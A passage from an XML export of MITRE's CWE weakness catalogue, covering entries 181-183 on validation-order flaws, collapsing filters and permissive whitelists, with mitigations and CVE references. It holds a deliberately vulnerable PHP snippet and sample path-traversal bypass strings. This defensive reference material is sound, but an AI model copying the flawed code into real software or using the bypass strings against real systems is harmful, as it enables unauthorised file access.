         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Validate-Before-Canonicalize</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="181" Name="Incorrect Behavior Order: Validate Before Filter" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software validates data before it has been filtered, which
					prevents the software from detecting data that becomes invalid after the
					filtering step.</Description_Summary>
				        <Extended_Description>
					          <Text>This can be used by an attacker to bypass the validation and launch
						attacks that expose weaknesses that would otherwise be prevented, such as
						injection.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>179</Relationship_Target_ID>
					          <!--Incorrect Behavior Order: Early Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Validate-before-cleanse</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being filtered.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-36">
					          <Intro_Text> This script creates a subdirectory within a user directory and sets
						the user as the owner. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function createDir($userName,$dirName){</Code>
							              <Block>
								                <Code>$userDir = '/users/'. $userName;</Code>
								                <Code>if(strpos($dirName,'..') !== false){</Code>
								                <Block>
									                  <Code>echo 'Directory name contains invalid sequence';</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>//filter out '~' because other scripts identify user
									directories by this prefix</Comment>
								                <Code>$dirName = str_replace('~','',$dirName);</Code>
								                <Code>$newDir = $userDir . $dirName;</Code>
								                <Code>mkdir($newDir, 0700);</Code>
								                <Code>chown($newDir,$userName);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the script attempts to screen for '..' sequences, an attacker
							can submit a directory path including ".~.", which will then become ".."
							after the filtering step. This allows a Path Traversal (CWE-21) attack
							to occur.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0934</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability allows remote
						attackers to read or modify arbitrary files via invalid characters between
						two . (dot) characters, which are filtered and result in a ".." sequence.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0282</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability allows
						attackers to overwrite arbitrary files via invalid characters between two .
						(dot) characters, which are filtered and result in a ".." sequence.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Protection Mechanism</Functional_Area>
			      </Functional_Areas>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This category is probably under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Validate-Before-Filter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Functional_Areas, Relationships, Research_Gaps,
						Taxonomy_Mappings, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Validate-before-filter</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="182" Name="Collapse of Data into Unsafe Value" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software filters data in a way that causes it to be reduced
					or "collapsed" into an unsafe value that violates an expected security
					property.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>33</Relationship_Target_ID>
					          <!--Path Traversal: '....' (Multiple Dot)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>34</Relationship_Target_ID>
					          <!--Path Traversal: '....//'-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>35</Relationship_Target_ID>
					          <!--Path Traversal: '.../...//'-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps regular expressions, although an implementation might not
						necessarily use regexp's.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Canonicalize the name to match that of the file system's
							representation of the name. This can sometimes be achieved with an
							available API (e.g. in Win32 the GetFullPathName function).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0815</Observed_Example_Reference>
					          <Observed_Example_Description>"/.////" in pathname collapses to absolute
						path.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3123</Observed_Example_Reference>
					          <Observed_Example_Description>"/.//..//////././" is collapsed into "/.././"
						after ".." and "//" sequences are removed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0325</Observed_Example_Reference>
					          <Observed_Example_Description>".../...//" collapsed to "..." due to removal of
						"./" in web server.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0784</Observed_Example_Reference>
					          <Observed_Example_Description>chain: HTTP server protects against ".." but
						allows "." variants such as "////./../.../". If the server removes "/.."
						sequences, the result would collapse into an unsafe value "////../"
						(CWE-182).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2169</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. Regular expression intended to protect
						against directory traversal reduces ".../...//" to
						"../".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1157</Observed_Example_Reference>
					          <Observed_Example_Description>XSS protection mechanism strips a
						&lt;script&gt; sequence that is nested in another
						&lt;script&gt; sequence.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Trustability</Relevant_Property>
			      </Relevant_Properties>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Character Stripping Vulnerabilities", Page
						437.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Collapse of Data into Unsafe Value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Eliminate noncharacter code points before
						validation</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS11-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Relationship_Notes,
						Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="183" Name="Permissive Whitelist" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>An application uses a "whitelist" of acceptable values, but the
					whitelist includes at least one unsafe value, leading to resultant
					weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>434</Relationship_Target_ID>
					          <!--Unrestricted Upload of File with Dangerous Type-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Define rigid requirements specifications for input and strictly accept
							input based on those specifications. Determine if any of the valid data
							include special characters that are associated with security exploits
							(use this taxonomy and the Common Vulnerabilities and Exposures as a
							start to determine what characters are potentially malicious). If
							permitted, then follow the potential mitigations associated with the
							weaknesses in this taxonomy. Always handle these data carefully and
							anticipate attempts to exploit your system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Eliminating Metacharacters", Page
						435.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Permissive Whitelist</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
